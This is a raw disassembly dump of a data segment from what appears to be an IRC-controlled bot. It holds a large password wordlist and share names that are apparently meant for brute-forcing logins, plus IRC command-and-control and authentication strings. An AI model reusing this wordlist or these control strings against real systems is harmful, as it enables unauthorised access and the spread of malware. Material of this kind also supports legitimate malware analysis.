aBlowjob	db 'blowjob',0          ; DATA XREF: seg002:004249F8o
aBlow		db 'blow',0             ; DATA XREF: seg002:004249F4o
		align 4
aBloodaxe	db 'bloodaxe',0         ; DATA XREF: seg002:004249F0o
		align 4
aBlood		db 'blood',0            ; DATA XREF: seg002:004249ECo
		align 10h
aBlondie	db 'blondie',0          ; DATA XREF: seg002:004249E8o
aBlonde		db 'blonde',0           ; DATA XREF: seg002:004249E4o
		align 10h
aBlack		db 'black',0            ; DATA XREF: seg002:004249E0o
		align 4
aBitnet		db 'bitnet',0           ; DATA XREF: seg002:004249DCo
		align 10h
aBitmap		db 'bitmap',0           ; DATA XREF: seg002:004249D8o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: seg002:004249D4o
		align 10h
aBishop		db 'bishop',0           ; DATA XREF: seg002:004249D0o
		align 4
aBird		db 'bird',0             ; DATA XREF: seg002:004249CCo
		align 10h
aBios		db 'bios',0             ; DATA XREF: seg002:004249C8o
		align 4
aBinary		db 'binary',0           ; DATA XREF: seg002:004249C4o
		align 10h
aBill		db 'bill',0             ; DATA XREF: seg002:004249C0o
		align 4
aBigfoot	db 'bigfoot',0          ; DATA XREF: seg002:004249BCo
aBicamera	db 'bicamera',0         ; DATA XREF: seg002:004249B8o
		align 4
aBible		db 'bible',0            ; DATA XREF: seg002:004249B4o
		align 4
aBeverly	db 'beverly',0          ; DATA XREF: seg002:004249B0o
aBetty		db 'betty',0            ; DATA XREF: seg002:004249ACo
		align 4
aBetsie		db 'betsie',0           ; DATA XREF: seg002:004249A8o
		align 4
aBeth		db 'beth',0             ; DATA XREF: seg002:004249A4o
		align 4
aBeta		db 'beta',0             ; DATA XREF: seg002:004249A0o
		align 4
aBeryl		db 'beryl',0            ; DATA XREF: seg002:0042499Co
		align 4
aBerliner	db 'berliner',0         ; DATA XREF: seg002:00424998o
		align 10h
aBerlin		db 'berlin',0           ; DATA XREF: seg002:00424994o
		align 4
aBerkeley	db 'berkeley',0         ; DATA XREF: seg002:00424990o
		align 4
aBeowulf	db 'beowulf',0          ; DATA XREF: seg002:0042498Co
aBenz		db 'benz',0             ; DATA XREF: seg002:00424988o
		align 4
aBeloved	db 'beloved',0          ; DATA XREF: seg002:00424984o
aBell		db 'bell',0             ; DATA XREF: seg002:00424980o
		align 4
aBehead		db 'behead',0           ; DATA XREF: seg002:0042497Co
		align 4
aBegin		db 'begin',0            ; DATA XREF: seg002:00424978o
		align 4
aBeethove	db 'beethove',0         ; DATA XREF: seg002:00424974o
		align 10h
aBecky		db 'becky',0            ; DATA XREF: seg002:00424970o
		align 4
aBeaver		db 'beaver',0           ; DATA XREF: seg002:0042496Co
		align 10h
aBeauty		db 'beauty',0           ; DATA XREF: seg002:00424968o
		align 4
aBeater		db 'beater',0           ; DATA XREF: seg002:00424964o
		align 10h
aBeast		db 'beast',0            ; DATA XREF: seg002:00424960o
		align 4
aBear		db 'bear',0             ; DATA XREF: seg002:0042495Co
		align 10h
aBeammeup	db 'beammeup',0         ; DATA XREF: seg002:00424958o
		align 4
aBeach		db 'beach',0            ; DATA XREF: seg002:00424954o
		align 4
aBatman		db 'batman',0           ; DATA XREF: seg002:00424950o
		align 4
aBatch		db 'batch',0            ; DATA XREF: seg002:0042494Co
		align 4
aBassoon	db 'bassoon',0          ; DATA XREF: seg002:00424948o
aBass		db 'bass',0             ; DATA XREF: seg002:00424944o
		align 4
aBasic		db 'basic',0            ; DATA XREF: seg002:00424940o
		align 4
aBaseball	db 'baseball',0         ; DATA XREF: seg002:0042493Co
		align 4
aBartman	db 'bartman',0          ; DATA XREF: seg002:00424938o
aBart		db 'bart',0             ; DATA XREF: seg002:00424934o
		align 4
aBaritone	db 'baritone',0         ; DATA XREF: seg002:00424930o
		align 4
aBarf		db 'barf',0             ; DATA XREF: seg002:0042492Co
		align 4
aBare		db 'bare',0             ; DATA XREF: seg002:00424928o
		align 4
aBarber		db 'barber',0           ; DATA XREF: seg002:00424924o
		align 4
aBarbara	db 'barbara',0          ; DATA XREF: seg002:00424920o
aBanks		db 'banks',0            ; DATA XREF: seg002:0042491Co
		align 4
aBank		db 'bank',0             ; DATA XREF: seg002:00424918o
		align 4
aBandit		db 'bandit',0           ; DATA XREF: seg002:00424914o
		align 4
aBananas	db 'bananas',0          ; DATA XREF: seg002:00424910o
aBanana		db 'banana',0           ; DATA XREF: seg002:0042490Co
		align 4
aBall		db 'ball',0             ; DATA XREF: seg002:00424908o
		align 4
aBailey		db 'bailey',0           ; DATA XREF: seg002:00424904o
		align 4
aBadass		db 'badass',0           ; DATA XREF: seg002:00424900o
		align 4
aBackdoor	db 'backdoor',0         ; DATA XREF: seg002:004248FCo
		align 10h
aBacchus	db 'bacchus',0          ; DATA XREF: seg002:004248F8o
aBaby		db 'baby',0             ; DATA XREF: seg002:004248F4o
		align 10h
aBabe		db 'babe',0             ; DATA XREF: seg002:004248F0o
		align 4
aAzure		db 'azure',0            ; DATA XREF: seg002:004248ECo
		align 10h
aAztecs		db 'aztecs',0           ; DATA XREF: seg002:004248E8o
		align 4
aAuthoriz	db 'authoriz',0         ; DATA XREF: seg002:004248E4o
		align 4
aAttack		db 'attack',0           ; DATA XREF: seg002:004248E0o
		align 4
aAtom		db 'atom',0             ; DATA XREF: seg002:004248DCo
		align 4
aAtmosphe	db 'atmosphe',0         ; DATA XREF: seg002:004248D8o
		align 10h
aAthena		db 'athena',0           ; DATA XREF: seg002:004248D4o
		align 4
aAsshole	db 'asshole',0          ; DATA XREF: seg002:004248D0o
aAsian		db 'asian',0            ; DATA XREF: seg002:004248CCo
		align 4
aArtist		db 'artist',0           ; DATA XREF: seg002:004248C8o
		align 10h
aArthur		db 'arthur',0           ; DATA XREF: seg002:004248C4o
		align 4
aArrow		db 'arrow',0            ; DATA XREF: seg002:004248C0o
		align 10h
aArmy		db 'army',0             ; DATA XREF: seg002:004248BCo
		align 4
aArlene		db 'arlene',0           ; DATA XREF: seg002:004248B8o
		align 10h
aAriadne	db 'ariadne',0          ; DATA XREF: seg002:004248B4o
aAria		db 'aria',0             ; DATA XREF: seg002:004248B0o
		align 10h
aApril		db 'april',0            ; DATA XREF: seg002:004248ACo
		align 4
aApollo13	db 'apollo13',0         ; DATA XREF: seg002:004248A8o
		align 4
aAnything	db 'anything',0         ; DATA XREF: seg002:004248A4o
		align 10h
aAnvils		db 'anvils',0           ; DATA XREF: seg002:004248A0o
		align 4
aAnthropo	db 'anthropo',0         ; DATA XREF: seg002:0042489Co
		align 4
aAnthrax	db 'anthrax',0          ; DATA XREF: seg002:00424898o
aAnswer		db 'answer',0           ; DATA XREF: seg002:00424894o
		align 4
aAnonymou	db 'anonymou',0         ; DATA XREF: seg002:00424890o
		align 10h
aAnon		db 'anon',0             ; DATA XREF: seg002:0042488Co
		align 4
aAnnette	db 'annette',0          ; DATA XREF: seg002:00424888o
aAnne		db 'anne',0             ; DATA XREF: seg002:00424884o
		align 4
aAnna		db 'anna',0             ; DATA XREF: seg002:00424880o
		align 10h
aAnita		db 'anita',0            ; DATA XREF: seg002:0042487Co
		align 4
aAnimals	db 'animals',0          ; DATA XREF: seg002:00424878o
aAnimal		db 'animal',0           ; DATA XREF: seg002:00424874o
		align 4
aAngie		db 'angie',0            ; DATA XREF: seg002:00424870o
		align 10h
aAngerine	db 'angerine',0         ; DATA XREF: seg002:0042486Co
		align 4
aAngela		db 'angela',0           ; DATA XREF: seg002:00424868o
		align 4
aAnfo		db 'anfo',0             ; DATA XREF: seg002:00424864o
		align 4
aAndy		db 'andy',0             ; DATA XREF: seg002:00424860o
		align 4
aAndromac	db 'andromac',0         ; DATA XREF: seg002:0042485Co
		align 10h
aAndroid	db 'android',0          ; DATA XREF: seg002:00424858o
aAndrea		db 'andrea',0           ; DATA XREF: seg002:00424854o
		align 10h
aAnchor		db 'anchor',0           ; DATA XREF: seg002:00424850o
		align 4
aAnarchy	db 'anarchy',0          ; DATA XREF: seg002:0042484Co
aAnarchis	db 'anarchis',0         ; DATA XREF: seg002:00424848o
		align 4
aAnalog		db 'analog',0           ; DATA XREF: seg002:00424844o
		align 4
aAnal		db 'anal',0             ; DATA XREF: seg002:00424840o
		align 4
aAmorphou	db 'amorphou',0         ; DATA XREF: seg002:0042483Co
		align 4
aAmerica	db 'america',0          ; DATA XREF: seg002:00424838o
aAmber		db 'amber',0            ; DATA XREF: seg002:00424834o
		align 4
aAmanda		db 'amanda',0           ; DATA XREF: seg002:00424830o
		align 10h
aAmadeus	db 'amadeus',0          ; DATA XREF: seg002:0042482Co
aAlphabet	db 'alphabet',0         ; DATA XREF: seg002:00424828o
		align 4
aAllow		db 'allow',0            ; DATA XREF: seg002:00424824o
		align 4
aAllison	db 'allison',0          ; DATA XREF: seg002:00424820o
aAlison		db 'alison',0           ; DATA XREF: seg002:0042481Co
		align 4
aAlisa		db 'alisa',0            ; DATA XREF: seg002:00424818o
		align 4
aAlicia		db 'alicia',0           ; DATA XREF: seg002:00424814o
		align 4
aAlice		db 'alice',0            ; DATA XREF: seg002:00424810o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: seg002:0042480Co
aAlias		db 'alias',0            ; DATA XREF: seg002:00424808o
		align 4
aAlgebra	db 'algebra',0          ; DATA XREF: seg002:00424804o
aAlexande	db 'alexande',0         ; DATA XREF: seg002:00424800o
		align 4
aAlex		db 'alex',0             ; DATA XREF: seg002:004247FCo
		align 10h
aAlert		db 'alert',0            ; DATA XREF: seg002:004247F8o
		align 4
aAlbert		db 'albert',0           ; DATA XREF: seg002:004247F4o
		align 10h
aAlbatros	db 'albatros',0         ; DATA XREF: seg002:004247F0o
		align 4
aAlbany		db 'albany',0           ; DATA XREF: seg002:004247ECo
		align 4
aAlaska		db 'alaska',0           ; DATA XREF: seg002:004247E8o
		align 4
aAirplane	db 'airplane',0         ; DATA XREF: seg002:004247E4o
		align 4
aAids		db 'aids',0             ; DATA XREF: seg002:004247E0o
		align 10h
aAerobics	db 'aerobics',0         ; DATA XREF: seg002:004247DCo
		align 4
aAdult		db 'adult',0            ; DATA XREF: seg002:004247D8o
		align 4
aAdrianna	db 'adrianna',0         ; DATA XREF: seg002:004247D4o
		align 10h
aAdrian		db 'adrian',0           ; DATA XREF: seg002:004247D0o
		align 4
aAdam		db 'adam',0             ; DATA XREF: seg002:004247CCo
		align 10h
aAction		db 'action',0           ; DATA XREF: seg002:004247C8o
		align 4
aAccount	db 'account',0          ; DATA XREF: seg002:004247C4o
aAcademic	db 'academic',0         ; DATA XREF: seg002:004247BCo
		align 4
aAcademia	db 'academia',0         ; DATA XREF: seg002:004247B8o
		align 4
a000000		db '000000',0           ; DATA XREF: seg002:004247B4o
					; seg002:004261CCo
		align 10h
a00000		db '00000',0            ; DATA XREF: seg002:004247B0o
					; seg002:004261C8o
		align 4
a0000		db '0000',0             ; DATA XREF: seg002:004247ACo
					; seg002:004261C4o
		align 10h
a000		db '000',0              ; DATA XREF: seg002:004247A8o
					; seg002:004261C0o
aTesting	db 'testing',0          ; DATA XREF: seg002:004247A4o
aDeath		db 'death',0            ; DATA XREF: seg002:004247A0o
		align 4
a00		db '00',0               ; DATA XREF: seg002:0042479Co
					; seg002:004261BCo
		align 4
aXxxxxxxxx	db 'xxxxxxxxx',0        ; DATA XREF: seg002:00424794o
					; seg002:0042660Co
		align 4
aXxxxxxxx	db 'xxxxxxxx',0         ; DATA XREF: seg002:00424790o
					; seg002:00426608o
		align 10h
aXxxxxxx	db 'xxxxxxx',0          ; DATA XREF: seg002:0042478Co
					; seg002:00426604o
aXxxxxx		db 'xxxxxx',0           ; DATA XREF: seg002:00424788o
					; seg002:00426600o
		align 10h
aXxxxx		db 'xxxxx',0            ; DATA XREF: seg002:00424784o
					; seg002:004265FCo
		align 4
aXxxx		db 'xxxx',0             ; DATA XREF: seg002:00424780o
					; seg002:004265F8o
		align 10h
aXxx		db 'xxx',0              ; DATA XREF: seg002:0042477Co
					; seg002:004265F4o
aXx		db 'xx',0               ; DATA XREF: seg002:00424778o
					; seg002:004265F0o
		align 4
asc_42AE48:				; DATA XREF: seg002:00424774o
					; seg002:004265ECo
		unicode	0, <x>,0
aGuessme	db 'guessme',0          ; DATA XREF: seg002:00424770o
aYouwontguessme	db 'youwontguessme',0   ; DATA XREF: seg002:0042476Co
		align 4
aUwontguessme	db 'uwontguessme',0     ; DATA XREF: seg002:00424768o
		align 4
aMirc_0		db 'mirc',0             ; DATA XREF: seg002:00424764o
		align 4
aKiddie		db 'kiddie',0           ; DATA XREF: seg002:00424760o
		align 4
aScriptkiddie	db 'scriptkiddie',0     ; DATA XREF: seg002:0042475Co
		align 4
aScript		db 'script',0           ; DATA XREF: seg002:00424758o
		align 4
aHax0r		db 'hax0r',0            ; DATA XREF: seg002:00424754o
		align 4
aHacker		db 'hacker',0           ; DATA XREF: seg002:00424750o
		align 4
aL337		db 'l337',0             ; DATA XREF: seg002:0042474Co
		align 4
aL33t		db 'l33t',0             ; DATA XREF: seg002:00424748o
		align 4
aLeet		db 'leet',0             ; DATA XREF: seg002:00424744o
		align 4
aKiller		db 'killer',0           ; DATA XREF: seg002:00424740o
		align 4
a0wn3d		db '0wn3d',0            ; DATA XREF: seg002:0042473Co
					; seg002:00426228o
		align 4
aW00t		db 'w00t',0             ; DATA XREF: seg002:00424738o
		align 4
aHeaven		db 'heaven',0           ; DATA XREF: seg002:00424734o
		align 4
aSpaceman	db 'spaceman',0         ; DATA XREF: seg002:00424730o
		align 10h
aSatanic	db 'satanic',0          ; DATA XREF: seg002:0042472Co
aSatanik	db 'satanik',0          ; DATA XREF: seg002:00424728o
aSatan		db 'satan',0            ; DATA XREF: seg002:00424724o
		align 4
aGobo		db 'gobo',0             ; DATA XREF: seg002:00424720o
		align 10h
aMatthew	db 'Matthew',0          ; DATA XREF: seg002:0042471Co
aMatt		db 'Matt',0             ; DATA XREF: seg002:00424718o
		align 10h
aMat		db 'Mat',0              ; DATA XREF: seg002:00424714o
aPw		db 'pw',0               ; DATA XREF: seg002:00424710o
		align 4
aMypass123	db 'mypass123',0        ; DATA XREF: seg002:0042470Co
		align 4
aMypass		db 'mypass',0           ; DATA XREF: seg002:00424708o
		align 4
aPw123		db 'pw123',0            ; DATA XREF: seg002:00424704o
		align 4
aAdmin123	db 'admin123',0         ; DATA XREF: seg002:00424700o
		align 10h
aMypc123	db 'mypc123',0          ; DATA XREF: seg002:004246FCo
aMypc		db 'mypc',0             ; DATA XREF: seg002:004246F8o
		align 10h
aLove		db 'love',0             ; DATA XREF: seg002:004246F4o
		align 4
aPwd		db 'pwd',0              ; DATA XREF: seg002:004246F0o
aLogin		db 'login',0            ; DATA XREF: seg002:004246ECo
		align 4
aHome		db 'home',0             ; DATA XREF: seg002:004246E8o
		align 4
aZxcv		db 'zxcv',0             ; DATA XREF: seg002:004246E4o
					; seg002:0042662Co
		align 4
aYxcv		db 'yxcv',0             ; DATA XREF: seg002:004246E0o
		align 4
aQwer		db 'qwer',0             ; DATA XREF: seg002:004246DCo
					; seg002:00426598o
		align 4
aSecret		db 'secret',0           ; DATA XREF: seg002:004246D8o
		align 4
aAsdf		db 'asdf',0             ; DATA XREF: seg002:004246D4o
					; seg002:00426644o
		align 4
aPc		db 'pc',0               ; DATA XREF: seg002:004246D0o
		align 4
aWin		db 'win',0              ; DATA XREF: seg002:004246CCo
aTest123	db 'test123',0          ; DATA XREF: seg002:004246C8o
aAbc		db 'abc',0              ; DATA XREF: seg002:004246C4o
aAaa		db 'aaa',0              ; DATA XREF: seg002:004246C0o
					; seg002:0042656Co
aA_1:					; DATA XREF: seg002:004246BCo
					; seg002:00426564o
		unicode	0, <a>,0
aCrash		db 'crash',0            ; DATA XREF: seg002:004246B8o
		align 4
aFucked		db 'fucked',0           ; DATA XREF: seg002:004246B4o
		align 10h
aNetfuck	db 'netfuck',0          ; DATA XREF: seg002:004246B0o
aIrule		db 'irule',0            ; DATA XREF: seg002:004246ACo
		align 10h
aOwned		db 'owned',0            ; DATA XREF: seg002:004246A8o
		align 4
a0wned		db '0wned',0            ; DATA XREF: seg002:004246A4o
					; seg002:0042622Co
		align 10h
aNetDevil	db 'net-devil',0        ; DATA XREF: seg002:004246A0o
		align 4
aNetdevil	db 'netdevil',0         ; DATA XREF: seg002:0042469Co
		align 4
aDevil		db 'devil',0            ; DATA XREF: seg002:00424698o
		align 10h
aNilez		db 'Nilez',0            ; DATA XREF: seg002:00424694o
		align 4
aFoobar		db 'foobar',0           ; DATA XREF: seg002:00424690o
		align 10h
aGod		db 'god',0              ; DATA XREF: seg002:0042468Co
aSex_0		db 'sex',0              ; DATA XREF: seg002:00424688o
aPat		db 'pat',0              ; DATA XREF: seg002:00424684o
aPatrick	db 'patrick',0          ; DATA XREF: seg002:00424680o
aAlpha		db 'alpha',0            ; DATA XREF: seg002:0042467Co
		align 4
a007		db '007',0              ; DATA XREF: seg002:00424678o
					; seg002:00426218o
a123abc		db '123abc',0           ; DATA XREF: seg002:00424674o
					; seg002:00426428o
		align 4
a1234qwer	db '1234qwer',0         ; DATA XREF: seg002:00424670o
					; seg002:00426434o
		align 4
a123123		db '123123',0           ; DATA XREF: seg002:0042466Co
					; seg002:004263D4o
		align 4
a121212		db '121212',0           ; DATA XREF: seg002:00424668o
					; seg002:004263CCo
		align 4
a111111		db '111111',0           ; DATA XREF: seg002:00424664o
					; seg002:00426244o
		align 4
a110		db '110',0              ; DATA XREF: seg002:00424660o
					; seg002:00426398o
a2600		db '2600',0             ; DATA XREF: seg002:0042465Co
					; seg002:00426520o
		align 4
a2002		db '2002',0             ; DATA XREF: seg002:00424654o
					; seg002:0042650Co
		align 10h
aXp_0		db 'xp',0               ; DATA XREF: seg002:00424650o
		align 4
aEnable		db 'enable',0           ; DATA XREF: seg002:0042464Co
		align 4
aGodblessyou	db 'godblessyou',0      ; DATA XREF: seg002:00424648o
aIhavenopass	db 'ihavenopass',0      ; DATA XREF: seg002:00424644o
a123asd		db '123asd',0           ; DATA XREF: seg002:00424640o
					; seg002:0042642Co
		align 4
aSuper		db 'super',0            ; DATA XREF: seg002:0042463Co
		align 4
aInternet	db 'Internet',0         ; DATA XREF: seg002:00424638o
		align 10h
a123qwe		db '123qwe',0           ; DATA XREF: seg002:00424630o
					; seg002:00426430o
		align 4
aSybase		db 'sybase',0           ; DATA XREF: seg002:0042462Co
		align 10h
aAbc123		db 'abc123',0           ; DATA XREF: seg002:00424624o
		align 4
aAbcd		db 'abcd',0             ; DATA XREF: seg002:00424620o
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: seg002:00424618o
		align 4
aPass_0		db 'pass',0             ; DATA XREF: seg002:00424614o
		align 10h
a88888888	db '88888888',0         ; DATA XREF: seg002:00424610o
					; seg002:00426364o
		align 4
a11111111	db '11111111',0         ; DATA XREF: seg002:0042460Co
					; seg002:0042624Co
		align 4
a111		db '111',0              ; DATA XREF: seg002:00424608o
					; seg002:00426238o
a54321		db '54321',0            ; DATA XREF: seg002:00424604o
					; seg002:0042652Co
		align 4
a654321		db '654321',0           ; DATA XREF: seg002:00424600o
					; seg002:00426530o
		align 4
a123456789	db '123456789',0        ; DATA XREF: seg002:004245FCo
					; seg002:004263ECo
		align 4
a12345678	db '12345678',0         ; DATA XREF: seg002:004245F8o
					; seg002:004263E8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: seg002:004245F4o
					; seg002:004263E4o
a123456		db '123456',0           ; DATA XREF: seg002:004245F0o
					; seg002:004263E0o
		align 4
a12345		db '12345',0            ; DATA XREF: seg002:004245ECo
					; seg002:004263DCo
		align 4
a1234		db '1234',0             ; DATA XREF: seg002:004245E8o
					; seg002:004263D8o
		align 4
a123		db '123',0              ; DATA XREF: seg002:004245E4o
					; seg002:004263D0o
a12		db '12',0               ; DATA XREF: seg002:004245E0o
					; seg002:004263C4o
		align 4
a1:					; DATA XREF: seg002:004245DCo
					; seg002:00426230o
		unicode	0, <1>,0
aTemp123	db 'temp123',0          ; DATA XREF: seg002:004245D8o
aChangeme_0	db 'Changeme',0         ; DATA XREF: seg002:004245D4o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: seg002:004245D0o
		align 10h
aLinux		db 'linux',0            ; DATA XREF: seg002:004245CCo
		align 4
aUnix		db 'unix',0             ; DATA XREF: seg002:004245C8o
		align 10h
aLocal		db 'LOCAL',0            ; DATA XREF: seg002:004245C4o
		align 4
aPepsi		db 'pepsi',0            ; DATA XREF: seg002:004245C0o
		align 10h
aServer_1	db 'SERVER',0           ; DATA XREF: seg002:004245BCo
					; seg002:0042697Co
		align 4
aSystem_0	db 'SYSTEM',0           ; DATA XREF: seg002:004245B8o
					; seg002:004265CCo ...
		align 10h
aBackup		db 'BACKUP',0           ; DATA XREF: seg002:004245B4o
					; seg002:00426974o
		align 4
aAccess		db 'ACCESS',0           ; DATA XREF: seg002:004245ACo
					; seg002:0042696Co
		align 10h
aTest		db 'TEST',0             ; DATA XREF: seg002:004245A8o
					; seg002:00426968o
		align 4
aEdu		db 'edu',0              ; DATA XREF: seg002:004245A4o
					; seg002:00426964o
aOwner_1	db 'Owner',0            ; DATA XREF: seg002:004245A0o
					; seg002:00426960o
		align 4
aOwner_0	db 'OWNER',0            ; DATA XREF: seg002:0042459Co
					; seg002:0042695Co
		align 4
aDemo		db 'DEMO',0             ; DATA XREF: seg002:00424598o
					; seg002:00426958o
		align 4
aFiles		db 'FILES',0            ; DATA XREF: seg002:00424594o
					; seg002:00426954o
		align 4
aRead		db 'READ',0             ; DATA XREF: seg002:00424590o
					; seg002:00426950o
		align 4
aBoth		db 'BOTH',0             ; DATA XREF: seg002:0042458Co
					; seg002:0042694Co
		align 4
aLadeda		db 'ladeda',0           ; DATA XREF: seg002:00424588o
					; seg002:00426948o
		align 4
aFull_0		db 'FULL',0             ; DATA XREF: seg002:00424584o
					; seg002:00426944o
		align 4
aWrite		db 'WRITE',0            ; DATA XREF: seg002:00424580o
					; seg002:00426940o
		align 4
aShare_0	db 'SHARE',0            ; DATA XREF: seg002:0042457Co
					; seg002:0042693Co
		align 4
aTemp		db 'TEMP',0             ; DATA XREF: seg002:00424578o
					; seg002:00426938o
		align 4
aPassword_0	db 'PASSWORD',0         ; DATA XREF: seg002:00424574o
					; seg002:00426934o
		align 10h
aAdmin_0	db 'ADMIN',0            ; DATA XREF: seg002:00424570o
					; seg002:00426930o
		align 4
aRoot_0		db 'ROOT',0             ; DATA XREF: seg002:00424568o
					; seg002:00426928o
		align 10h
aGuest_1	db 'GUEST',0            ; DATA XREF: seg002:00424564o
					; seg002:00426924o
		align 4
aBla		db 'bla',0              ; DATA XREF: seg002:00424560o
					; seg002:00426920o
aFubar		db 'fubar',0            ; DATA XREF: seg002:0042455Co
					; seg002:0042691Co
		align 4
aAdministrato_1	db 'ADMINISTRATOR',0    ; DATA XREF: seg002:00424550o
					; seg002:00426910o
		align 4
aDb2		db 'db2',0              ; DATA XREF: seg002:00424540o
aOracle		db 'oracle',0           ; DATA XREF: seg002:0042453Co
					; seg002:00424628o
		align 10h
aDba		db 'dba',0              ; DATA XREF: seg002:00424538o
aDatabase	db 'database',0         ; DATA XREF: seg002:00424534o
					; seg002:0042461Co
		align 10h
aDefault	db 'default',0          ; DATA XREF: seg002:00424530o
					; seg002:00424CBCo
aGuest_0	db 'guest',0            ; DATA XREF: seg002:0042452Co
		align 10h
aWwwadmin	db 'wwwadmin',0         ; DATA XREF: seg002:00424528o
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: seg002:00424524o
					; seg002:00425C50o
aStudent	db 'student',0          ; DATA XREF: seg002:00424520o
					; seg002:00425B98o
aOwner		db 'owner',0            ; DATA XREF: seg002:0042451Co
		align 4
aComputer	db 'computer',0         ; DATA XREF: seg002:00424518o
					; seg002:00424634o
		align 10h
aStaff		db 'staff',0            ; DATA XREF: seg002:00424510o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: seg002:00424508o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: seg002:00424504o
aAdministrateur	db 'administrateur',0   ; DATA XREF: seg002:00424500o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: seg002:004244FCo
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: seg002:004244F8o
					; seg002:00424558o ...
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40FD41:loc_40FE4Co
					; seg002:004244F4o ...
		align 4
aMirc1_6_99	db 'mirc 1.6.99',0      ; DATA XREF: seg002:off_424448o
a@room		db '*@room',0           ; DATA XREF: seg002:off_424444o
		align 10h
dword_42B330	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:00409D19o
		dd 2029206Ch, 2BBBB02h,	6F422020h, 74732074h, 65747261h
		dd 2E64h
dword_42B35C	dd 25207325h, 25222064h, 2273hdword_42B368	dd 255C7325h, 73hdword_42B370	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_409EB0+F2o
		dd 2029206Ch, 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 10h
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40A018+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40A018+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040F3F2o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: seg000:0040F3DDo
		align 4
dword_42B3E8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F3C9o
		dd 2029206Ch, 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_42B41C	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F3ACo
		dd 2029206Ch, 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 10h
dword_42B450	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F33Co
		dd 2029206Ch, 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 10h
dword_42B490	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F2DEo
		dd 2029206Ch, 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 10h
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: seg000:0040F2CFo
					; seg000:0040F32Do
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: seg000:0040F2BBo
					; seg000:0040F319o
		align 4
asc_42B51C:				; DATA XREF: seg000:0040F28Bo
		unicode	0, <~>,0
dword_42B520	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F23Ao
		dd 2029206Ch, 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_42B558	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F180o
		dd 2029206Ch, 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_42B598	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F178o
		dd 2029206Ch, 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 4
dword_42B5D8	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040F123o
		dd 2029206Ch, 2BBBB02h,	73252020h, 0
unk_42B5FC	db    2			; DATA XREF: seg000:0040F114o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 65h,	63h, 75h
		db  72h	; r
		db 65h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_4	db ' Failed to start secure thread, error: <%d>.',0
		align 4
dword_42B64C	dd 28026502h, 62302E31h, 20282029h, 75636573h, 6D2E6572h
					; DATA XREF: seg000:0040F09Ao
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 20732520h, 74737973h
		dd 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: seg000:0040F094o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: seg000:0040F08Do
		align 10h
aSec		db 'sec',0              ; DATA XREF: seg000:0040F032o
aSecure		db 'secure',0           ; DATA XREF: seg000:0040F021o
		align 4
dword_42B69C	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_42B6AC	dd 646E6946h, 6C696620h, 65hdword_42B6B8	dd 72027002h, 1F631F6Fh, 2E2Ehdword_42B6C4	dd 636F7250h, 20737365h, 7473696Ch, 0dword_42B6D4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040EFB2o
		dd 2029206Ch, 2BBBB02h,	65522020h, 6E6E6F63h, 69746365h
		dd 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40EFA5o
		align 4
dword_42B718	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: seg000:0040EF90o
